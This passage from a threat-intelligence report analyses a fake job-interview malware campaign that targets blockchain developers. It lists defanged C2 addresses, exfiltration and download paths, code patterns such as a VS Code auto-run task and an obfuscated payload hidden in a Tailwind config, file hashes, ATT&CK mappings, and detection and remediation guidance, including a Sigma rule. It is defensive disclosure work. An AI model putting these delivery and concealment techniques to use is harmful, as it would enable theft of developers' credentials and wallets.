The Stage 5 nodes (z238, ps55) run Windows Server 2019-era builds rather than the 10.0.20348 build seen on the config, primary, operational, and Stage 4a hosts. They also use short hostnames rather than auto-generated WIN- hostnames. ps55 has the earliest RDP certificate in the campaign (2025-10-11), suggesting it may have been provisioned before this specific engagement and reused across campaign waves. The four tcpwrapped ports on 66.235.168[.]238 remain unidentified and should be treated as additional infrastructure observations rather than fully attributed malware services.

Operator Identity

The primary lmng2026 repository contains a single recovered Git author identity:

FieldValue
Author nameunknown
Author emaillucassilva4143@outlook.com
Commit timezone+0900
Commit messageADMIN-54743: extracted ADMIN module
Commit date2025-01-21 14:02:06 +0900

The commit author name is literally unknown, which may reflect a misconfigured or deliberately minimal git identity. The email address uses a Western name convention with a numeric suffix via Outlook and should be treated as a repository persona artifact, not a real-world identity. The +0900 timezone offset aligns with Korea/Japan Standard Time, but it is a weak standalone indicator and should only be interpreted alongside the malware, lure, infrastructure, and execution-chain evidence.

The Telegram operator handle is @Devs_Empires. The corresponding Calendly booking page used during recruitment is calendly[.]com/devs_empire/online_meeting. The one-character difference between the Telegram username (Devs_Empires) and the Calendly slug (devs_empire) indicates the same operator registered both under a consistent but slightly varied handle - consistent with the platform-specific username availability forcing minor variations.

Backend Infrastructure

The repository includes a backend/ directory containing a Node.js Express application. The package.json name field is infinity8_backend, not lumanagi, indicating the backend is repurposed code from a prior project used to make the lure repository appear more complete. The backend does not contain any malicious code and is not assessed to be a payload delivery surface for this campaign.


Indicators of Compromise

All indicators assessed High confidence unless noted.

Network Indicators

IndicatorTypeConfidence
147.124.202[.]225IPv4High - primary C2
147.124.202[.]225:1244IP:PortMedium-High - hardcoded Stage 2 primary config endpoint; not observed open in later full-port scan
38.92.47[.]157IPv4High - fallback C2
38.92.47[.]157:1244IP:PortHigh - fallback C2, Node.js Express confirmed
147.124.213[.]19IPv4High - operational C2, confirmed Node.js Express, served Stage 3 and Stage 4
147.124.213[.]19:1244IP:PortHigh - operational C2, active at time of analysis
147.124.213[.]19:21IP:PortHigh - FTP exfiltration server (pyftpdlib 1.0.0), co-located with operational C2
45.43.11[.]245IPv4High - Stage 4a RAT C2 and FTP collection server
45.43.11[.]245:1248IP:PortHigh - Stage 4a RAT channel (persistent TCP, length-prefixed JSON)
66.235.168[.]238IPv4High - Stage 5 primary C2
66.235.168[.]238:1249IP:PortHigh - Stage 5 browser hijack results endpoint
45.59.163[.]55IPv4High - Stage 5 secondary C2
45.59.163[.]55:1244IP:PortHigh - Stage 5 extension zips and Chrome DMG server
147.124.202[.]225:1244/s/90284f08cc01URLMedium-High - payload-hardcoded primary config endpoint (GET); listener not observed open in later scan
38.92.47[.]157:1244/s/90284f08cc01URLHigh - fallback C2 config endpoint (GET)
/s/90284f08cc01URL pathHigh - config fetch endpoint, hardcoded campaign identifier
/keysURL pathHigh - host data exfiltration endpoint (POST formData)
/j/ZRj2s0k9URL pathHigh - Stage 3 download (gjs_ZRj2s0k9.js, 20972 bytes)
/o/ZRj2s0k9URL pathHigh - Stage 4a download path (n.js target)
/z/ZRj2s0k9URL pathHigh - Stage 4b download path (p.js target)
/pURL pathHigh - Stage 3 package.json download
multi_filesPOST fieldHigh - exfil field name in multipart/form-data POST to /keys
lackservice.short[.]gy/ZRj2s0k9mURLHigh - macOS Stage 1 delivery
lackservice.short[.]gy/ZRj2s0k9lURLHigh - Linux Stage 1 delivery
lackservice.short[.]gy/ZRj2s0k9wURLHigh - Windows Stage 1 delivery
micglasstown.vercel[.]app/task/mac?token=90284f08cc01URLMedium - related teddy2026 VS Code macOS task endpoint
micglasstown.vercel[.]app/task/linux?token=90284f08cc01URLMedium - related teddy2026 VS Code Linux task endpoint
micglasstown.vercel[.]app/task/windows?token=90284f08cc01URLMedium - related teddy2026 VS Code Windows task endpoint

Operator Identity Indicators

IndicatorTypeNotes
lucassilva4143@outlook.comEmailGit author identity, single commit
Commit timezone +0900PatternKorea/Japan Standard Time
@Devs_EmpiresTelegram handleOperator coordination channel
calendly[.]com/devs_empire/online_meetingURLRecruitment booking page
bitbucket[.]org/lmng_srcBitbucket accountFirst repository host, deleted
bitbucket[.]org/tornadodev4040Bitbucket accountSecond repository host, deleted
bitbucket[.]org/web3ai/lmng2026Bitbucket repositoryRelated preserved mirror with same HEAD as lmng2026
bitbucket[.]org/web3ai/teddy2026Bitbucket repositoryRelated repository variant using same 90284f08cc01 token in VS Code task URLs
ezraloomis.gears@gmail.comEmailRelated teddy2026 Git author identity, not primary Lumanagi author
WIN-SVKBJTTA8DTHostnameMedium - RDP CN for 45.43.11[.]245
wr19HostnameMedium - RDP CN for 147.124.213[.]19
z238HostnameMedium - RDP CN for 66.235.168[.]238
ps55HostnameMedium - RDP CN for 45.59.163[.]55

Repository and Code Indicators

IndicatorTypeNotes
runOn: folderOpen in .vscode/tasks.jsonCode patternAuto-execution trigger on VS Code folder open
Pipe-to-shell via short link in tasks.jsonCode patternOS-specific; macOS/Linux/Windows variants
Obfuscated payload appended after module.exports in tailwind.config.jsCode patternConcealed after apparent config terminator by horizontal whitespace padding
XOR key [0x70, 0xa0, 0x89, 0x48] in tailwind payloadCode patternString table deobfuscation
Base64 half-swap permutation for C2 address encodingCode patternIP address concealment
Stage 3 write path ~/.vscode/test.jsCode patternPersistence location
C2 retry interval 0x96640 ms (616s)Code patternPolling behavior

File Indicators

SHA256FilenameNotes
c0bb247d5c8de433e05c446a71033bce3583a3bcb3b410a29236d02d4b7a269etailwind.config.jsLegitimate config with obfuscated payload appended
de4eea20fc4ccc070706aab327784a130c5349963926f106f4603563ba358f3d.vscode/tasks.jsonVS Code auto-execution config
a743397d39c51059fef946dbee085e207cbfd644ed4bf0ba717420c9f0feb217package.jsonFrontend package - start script triggers payload

MITRE ATT&CK Mapping

Technique IDNameTacticNotes
T1566.003Spearphishing via ServiceInitial AccessLinkedIn recruitment lure, Calendly scheduling, Telegram follow-up
T1585.001Establish Accounts: Social Media AccountsResource DevelopmentLinkedIn and Telegram persona infrastructure
T1585.002Establish Accounts: Email AccountsResource DevelopmentGit author email identity used in repository metadata
T1204.002User Execution: Malicious FileExecutionRepository execution via VS Code task or frontend build/start workflow
T1059.007Command and Scripting Interpreter: JavaScriptExecutionObfuscated JavaScript stages executed under Node.js / webpack
T1059.004Command and Scripting Interpreter: Unix ShellExecutionmacOS/Linux pipe-to-shell from VS Code task
T1059.003Command and Scripting Interpreter: Windows Command ShellExecutionWindows pipe-to-cmd from VS Code task
T1027Obfuscated Files or InformationDefense EvasionWhitespace concealment, XOR/base64 string decoding, address permutation
T1105Ingress Tool TransferCommand and ControlStage 3, Stage 4a, Stage 4b, and Stage 5 payload retrieval
T1071.001Application Layer Protocol: Web ProtocolsCommand and ControlHTTP C2 over non-standard ports
T1571Non-Standard PortCommand and ControlRepeated use of TCP/1244, TCP/1248, TCP/1249
T1082System Information DiscoveryDiscoveryHostname, username, home directory, platform collection
T1016System Network Configuration DiscoveryDiscoveryNetwork interface collection
T1005Data from Local SystemCollectionBrowser, wallet, keychain, SSH, and password-manager file collection
T1552.001Credentials in FilesCredential AccessCollection of .env, wallet, SSH, keychain, and password-manager artifacts
T1555Credentials from Password StoresCredential AccessBrowser credential stores, Firefox logins, macOS Keychain, 1Password
T1176Browser ExtensionsCredential AccessStage 5 targets MetaMask, Rabby Wallet, and Phantom extension state
T1554Compromise Client Software BinaryPersistence / Defense EvasionStage 5 macOS path can replace Chrome.app via operator-delivered DMG
T1041Exfiltration Over C2 ChannelExfiltrationMultipart /keys POSTs to C2
T1048.003Exfiltration Over Unencrypted Non-C2 ProtocolExfiltrationFTP exfiltration used by later-stage tooling
T1056.003Input Capture: Web Portal CaptureCredential AccessWallet-extension state manipulation may capture or redirect approval flows

Attribution Assessment

Assessed confidence: Medium-High

Several aspects of this campaign overlap with documented DPRK-linked developer-targeting operations, specifically the cluster tracked under the Contagious Interview moniker:

The UTC+9 commit timezone from lucassilva4143@outlook.com is consistent with Korea Standard Time and Japan Standard Time. This is a weak standalone indicator, but it is directionally consistent with prior Contagious Interview reporting and with the repository’s Japan-themed lure.

The .vscode/tasks.json runOn: folderOpen trigger with cross-platform pipe-to-shell variants is a technique that has appeared in every ThreatProphet Contagious Interview case to date, and is documented across multiple external Contagious Interview analyses as a defining campaign characteristic.

The lure profile - a polished, well-designed DeFi platform, high stated compensation, LinkedIn initial contact, Calendly booking link, and rapid repository rotation mid-engagement - is structurally identical to prior campaigns in this cluster.

Full string table decode of Stage 3 enables code-level comparison against published InvisibleFerret-family samples. Eleven indicators match precisely: the ~/.vscode/test.js, ~/.vscode/n.js, and ~/.vscode/p.js persistence paths; the /o/<id> and /z/<id> C2 download endpoint naming pattern; the browser profile iteration constant 0xc8 (200); the wallets directory target; the Login Data SQLite target; the logkc-db output label for macOS Keychain; the key4.db / logins.json Firefox target; the 1Password.agilekeychain and 2BUA8C4S2C.com.1password 1Password targets; and the complete set of 17 wallet extension IDs. Stage 3 is assessed as InvisibleFerret-lineage at high confidence. Two capabilities not documented in prior IF reporting - ps-node process enumeration and basic-ftp secondary exfiltration - may represent additions in this campaign wave.

The repeated use of AS397423 (Tier.Net Technologies LLC), Windows Server hosts, Node.js Express services, and port 1244 across multiple nodes suggests centralized infrastructure provisioning, consistent with an organized operation rather than an opportunistic actor.

This campaign differs from TP-2026-001 and TP-2026-002 in several respects that bear on attribution confidence. The payload concealment technique - obfuscated code appended to a Tailwind CSS configuration file and hidden after an apparent config terminator with horizontal whitespace padding - has not been documented in prior Contagious Interview reporting and represents either a tooling refinement by the same actor group or adoption of a technique from an adjacent actor. The campaign uses Bitbucket rather than GitHub, with rapid account rotation rather than the multi-account GitHub cluster pattern observed in TP-2026-002. The primary Lumanagi repository contains a single recovered Git author identity, compared to the multi-identity cluster documented in TP-2026-002. The stage 1 delivery uses commercial short links via Short.io rather than Vercel-hosted endpoints. The C2 servers are Windows VPS instances running Node.js Express, compared to the Linux-based C2 in TP-2026-002.

The combination of the UTC+9 commit timestamp, the tasks.json trigger, the ~/.vscode/ persistence path, the InvisibleFerret Stage 3 payload (confirmed at high confidence by code-level analysis), and the DeFi lure targeting blockchain developers collectively support medium-high confidence attribution to the Contagious Interview cluster. The novel Tailwind-config concealment technique and distinct infrastructure patterns remain the primary factors preventing a definitive assessment.

External reporting context. Later Microsoft reporting describes Contagious Interview as a fake developer-interview campaign that convinces victims to execute malicious packages or commands during recruitment workflows. This report’s findings are consistent with that broader tradecraft pattern, but the specific infrastructure links in this report are based on ThreatProphet-preserved evidence and direct analysis.

These similarities do not constitute confirmed attribution. The techniques described are documented and replicable by actors familiar with prior Contagious Interview reporting. Attribution should not be asserted without additional corroborating intelligence.

Prior reporting:


Remediation

If You Ran the Code

The tailwind payload executes at webpack startup, before any application output is visible. If npm start, npm run client, or npm run build was run against this repository, treat the machine as compromised regardless of how briefly the process ran.

  • Isolate the affected machine from the network immediately
  • Rotate all credentials that may have been present on the machine: SSH keys, API tokens, cloud provider credentials, database connection strings, private keys, OAuth secrets, cryptocurrency wallet seed phrases or private keys, and any browser-stored passwords or session tokens
  • Check for Stage 3 and Stage 4 persistence files: ~/.vscode/test.js, ~/.vscode/n.js, ~/.vscode/p.js - the presence of any of these confirms the payload chain progressed beyond Stage 2. Preserve copies and hashes before deletion
  • Check ~/.vscode/ and the repository’s node_modules/ directory for unexpected files written during the payload’s execution window
  • Audit cloud provider access logs, git repository access logs, and SSH access logs for anomalous activity in the period following execution
  • Audit cryptocurrency wallets accessible from the machine for unauthorized transactions
  • Check for persistence mechanisms: cron jobs, launchd agents (macOS), systemd units (Linux), registry Run keys (Windows)
  • Do not rely on AV or EDR detection - the payload executes as JavaScript inside a legitimate node process spawned by webpack, and will not match known malware signatures in most configurations
  • Reimage from a known-good backup or clean OS install once forensic preservation is complete

If only the repository was opened in VS Code without running any npm commands, the exposure is limited to the tasks.json trigger, for which the short links were already suspended at the time of the campaign. Confirm the links returned the Short.io fraud page rather than a payload by checking your terminal history or network logs for connections to lackservice.short[.]gy.

Network-Level Detection

  • Block and alert on outbound connections to 147.124.202[.]225, especially HTTP attempts to TCP/1244 matching /s/90284f08cc01 (payload-hardcoded primary config endpoint)
  • Block and alert on outbound connections to 38.92.47[.]157 on all ports, especially TCP/1244 (fallback C2)
  • Alert on outbound HTTP GET requests to paths matching /s/[a-f0-9]{12} from Node.js or webpack processes - this pattern matches the hardcoded campaign config endpoint
  • Alert on outbound HTTP POST requests to /keys from Node.js processes (multipart/form-data exfil endpoint)
  • Alert on HTTP GET requests to paths beginning /j/ from Node.js processes (Stage 3 download)
  • Alert on HTTP GET requests to /p from Node.js processes (second payload download)
  • Alert on any process reading ~/.local/share/keyrings/ or ~/Library/Keychains/login.keychain-db from a Node.js child process
  • Alert on npm i --silent executed from a hidden directory path (e.g. ~/.vscode/)
  • Alert on outbound connections to 147.124.213[.]19 on all ports
  • Monitor for file creation events in ~/.vscode/ by Node.js processes, especially files named test.js
  • Alert on npm install --silent invocations where the working directory is ~/.vscode/ or a path containing .vscode

Sigma rule (conceptual):

title: Contagious Interview Stage 3 Write - vscode test.js
status: experimental
logsource:
  category: file_event
detection:
  selection:
    TargetFilename|endswith: '/.vscode/test.js'
    Image|endswith: 'node'
  condition: selection
falsepositives:
  - None expected
level: critical

Host-Level Hardening

  • Set task.allowAutomaticTasks to off or prompt in VS Code user settings (File > Preferences > Settings) to prevent runOn: folderOpen tasks from executing silently. This is the most effective single control against the tasks.json trigger
  • Before opening any unknown repository in VS Code, review .vscode/tasks.json for the runOn: folderOpen property and any commands referencing external URLs or pipe-to-shell patterns
  • Before running npm start or any build commands in an unknown repository, inspect all build and framework configuration files (tailwind.config.js, webpack.config.js, next.config.js, vite.config.js) for content beyond the expected configuration export - use a hex editor or cat -A to detect whitespace-concealed appended code
  • Run technical assessments from unknown sources inside an isolated VM or container with no access to host credentials, no mounted credential files, no access to host .ssh/ or browser profile directories, and filtered network egress
  • Apply network egress filtering that blocks outbound connections from development toolchain processes (node, npm, webpack) to IP addresses outside expected ranges

File and Payload Hashes

The private evidence archive is not distributed with this report. The following hashes are included for independent comparison with collected samples, repository mirrors, and captured payloads. Probe captures, WHOIS responses, and private collection metadata are excluded from this public table.

SHA256ArtifactNotes
de4eea20fc4ccc070706aab327784a130c5349963926f106f4603563ba358f3d.vscode/tasks.jsonVS Code folder-open task with Short.io pipe-to-shell delivery
c0bb247d5c8de433e05c446a71033bce3583a3bcb3b410a29236d02d4b7a269etailwind.config.jsLegitimate Tailwind config with obfuscated payload appended
a743397d39c51059fef946dbee085e207cbfd644ed4bf0ba717420c9f0feb217Frontend package.jsonStart/client scripts that load the Tailwind configuration through the build chain
294f4cf9a60e01a8e1e18bb5442fd364e7837a86914f615e89d754d902a6be4dStage 3 credential stealer payloadPayload written as ~/.vscode/test.js; assessed InvisibleFerret-lineage
27f1fd9f227ea7a873df1f2a65b305f07bc068e57e502d9ea13420c699b1f296Stage 3 dependency manifestDependency manifest retrieved from /p
94b32c86f5391119db81e36b58dcb61d74ec5ad8243c85b08ffe4e6d8b2c7c3dStage 4a RAT payloadPersistent TCP RAT written as ~/.vscode/n.js
d2a1b20b5a166b956d3b79af516f225bcad57d054eac0082769ea366472babb7Stage 4b file finder payloadKeyword-driven credential and wallet file searcher written as ~/.vscode/p.js
67bdebb27e1db8462d0a815e779f7fae70852eacaa826c17204ac37bcbf2897bStage 5 browser extension hijackerOn-demand Chrome/Brave extension session hijacker
63abd59a68a47ea661ad45690a69f0917e6401609cd2431b0ec39eed76941999Repository file hash manifestPreserved repository file-hash manifest

TLP:CLEAR - This report may be freely shared. Attribution assessments are tentative and based on TTP similarity, infrastructure overlap, and payload analysis. All IOCs are provided for defensive purposes.

Report ID: TP-2026-003 | Published: 2026-03-01 | Author: ThreatProphet